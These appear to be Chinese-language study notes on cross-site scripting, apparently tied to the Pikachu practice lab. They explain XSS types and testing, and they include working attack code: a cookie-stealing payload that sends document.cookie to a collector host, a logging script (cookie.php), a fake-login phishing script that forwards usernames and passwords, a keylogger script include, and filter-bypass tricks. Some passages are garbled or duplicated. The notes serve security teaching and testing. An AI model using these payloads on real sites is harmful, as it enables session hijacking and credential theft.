02_跨站脚本漏洞
跨站脚本漏洞概述
- XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
- XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。
- XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户cookie获取。 甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等
流程图：
跨站脚本漏洞常见类型及测试流程
危害:存储型>反射型> DOM型
●反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得, 一般出现在查询类页面等。
●存储型
交互的数据会被存在在数据库里面,永久性存储, 一般出现在留言板,注册等页面。
●DOM型
不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题, 一次性也属于反射型。
XSS漏洞形成的原因:
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
跨站脚本漏洞测试流程：
①在目标站点上找到输入点,比如查询接口,留言板等;
②输入一组"特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理;
③通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 ( 构造闭合) ;
④提交构造的脚本代码(以及各种绕过姿势) ,看是否可以成功执行，如果成功执行则说明存在XSS漏洞;
TIPS :
1.一般查询接容易出现反射型XSS ,留言板容易出现存储型XSS ;
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效，或者环境限制了执行(浏览器) ;
3通过变化不同的script ,尝试绕过后台过滤机制;
反射型XSS ( get&post )演示和原理分析
GET和POST典型区别:
GET是以url方式提交数据;
POST是以表单方式在请求体里面提交;
GET方式的XSS漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的URL伪装后发送给目标
而POST方式由于是以表单方式提交,无法直接使用URL方式进行攻击,如何利用?
存储型XSS演示和与原理分析
存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。
Dom型XSS演示和原理分析
通过JavaScript ,可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。要改变页面的某个东西, JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性，都是通过文档对象模型来获得的( DOM )。所以，你可以把DOM理解为一个一个访问HTML的标准编程接口。
Dom型XSS漏洞基本不会涉及到后端代码。
XSS的危害-获取cookie的原理和实验演示
GET方式的XSS获取Cookie：
构造url使用被攻击者点击，执行cookie.php这个程序。
主要去理解cookie.php的源码：
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//这个是获取cookie的api页面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站
?>
POST方式的XSS获取Cookie：
攻击者构造一个post请求提交网页，发送给受攻击者，点开后程序自动帮他提交一个post请求表单，那么就实现了攻击过程。
POST表单网页源码：
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
XSS危害-XSS进行钓鱼的原理和实验演示
实验思路：
制作钓鱼鱼饵: www - Authenticate: Basic
在表单中输入以下恶意代码实现XSS漏洞攻击（钓鱼）：
<img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php" />
<script src="http://192.168.1.4/pikachu/pkxss/xfish/fish.php"></script>
fish.php源码：
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框，并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
XSS危害-XSS获取键盘记录原理和实验演示
在实验前先了解一下什么是跨域
http:// www . xyz.com : 8080 / script/test.js
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名，子域名)、端口中的任意一个不相同时,称为不同域
我们把不同的域之间请求数据的操作，成为跨域操作。
跨域-同源策略
而为了安全考虑,所有的浏览器都约定了"同源策略”, 同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。
比如通过: header( “Access-Control-Allow-Origin:x.com” )指定。
Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。
<script src= "..."> //js,加载到本地执行
<img src="...">//图片
<link href="..."> //css
<iframe src= ".." > //任意资源
为什么要有同源策略:
A登陆了淘宝,攻击者向A发送一个 恶意链接urlb: http://www.盗你cookie.com
如果没有同源策略,即: urlb上的js可以操作A的内容(如:获取cookie等)
有了同源策略,就限制了这种情况。
再比如:
一个恶意站点A上使用了 , 发送该恶意url到攻击对象,攻击对象登
陆后如果没有同源策略，则A上的JS即可获取B站点的登陆信息。
在表单中输入：
<script src="http : / /192.168.1.15/pkxss/ rkeypress/rk.js"></script>
代码存储在后台中，再次访问的时候就会访问rk.js文件。
XSS盲打演示和原理分析
什么是XSS盲打？
不管3721 ,往里面插XSS代码，然后等待,可能会有惊喜!
由于是后端,可能安全考虑不太严格
当管理员登录时,就会被X !
也就是说只有后台会看到前端输入的内容。
从前端无法判断是否存在XSS ,怎么办?
危害：
当管理员登录后台时，攻击者插入的攻击代码可以获取管理员当前的Coookie发送到指定的地方，从而使攻击者获取权限。
XSS的过滤和绕过( filter&htmlspecialchars )
XSS绕过-过滤-转换：
0 ,前端限制绕过,直接抓包重放,或者修改html前端代码
1.,大小写，比如: pt>
3 ,使用注释进行干扰: <scri
pt> alert(111)</sc
ript>
XSS绕过-过滤-编码：
核心思路:
后台过滤了特殊字符,比如
在使用编码使需要注意编码在输出点是否会被正常识别和翻译！！！
错误的例子1 :
<img src=x οnerrοr=" alert('xss )“将alert( XSS )进行UR编码,可以执行吗？
<img src=x οnerrοr=”alert%28%27xss%27%29” />
并不会执行， why,?因为这些属性标签并不会正常解析这些编码
栗子2 :使用事件属性onxxx;
<img src=x οnerrοr=”alert(‘xss’)" />可以把alert( ‘xss’)进行html编码
<img src=x onerror= "alert(&u#39;xss') "/>
<img SrC=x
onmouseover=”alert('&# 120;ss')" />
可以执行
注意,事件标签里面并不会执行标签里面的代码。
XSS绕过-关于htmlspecialchar()函数：
htmlspecialchars()函数把预定义的字符转换为HTML实体。
预定义的字符是：
- &（和号）成为&
- “（双引号）成为"
- ‘（单引号）成为'
- <（小于）成为<
- 大于号成为>
可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT_ QUOTES -编码双引号和单引号。
ENT_ NOQUOTES -不编码任何引号。
o k = h t m l s p e c i a l c h a r s ( ok=htmlspecialchars( ok=htmlspecialchars(_ GET[ ‘message’])
XSS输出在href和js中的案例分析
lspecialchars()函数把预定义的字符转换为HTML实体。
预定义的字符是：
&（和号）成为&
“（双引号）成为"
‘（单引号）成为'
<（小于）成为<
(大于) 成为>
可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT_ QUOTES -编码双引号和单引号。
ENT_ NOQUOTES -不编码任何引号。
o k = h t m l s p e c i a l c h a r s ( ok=htmlspecialchars( ok=htmlspecialchars(_ GET[ ‘message’])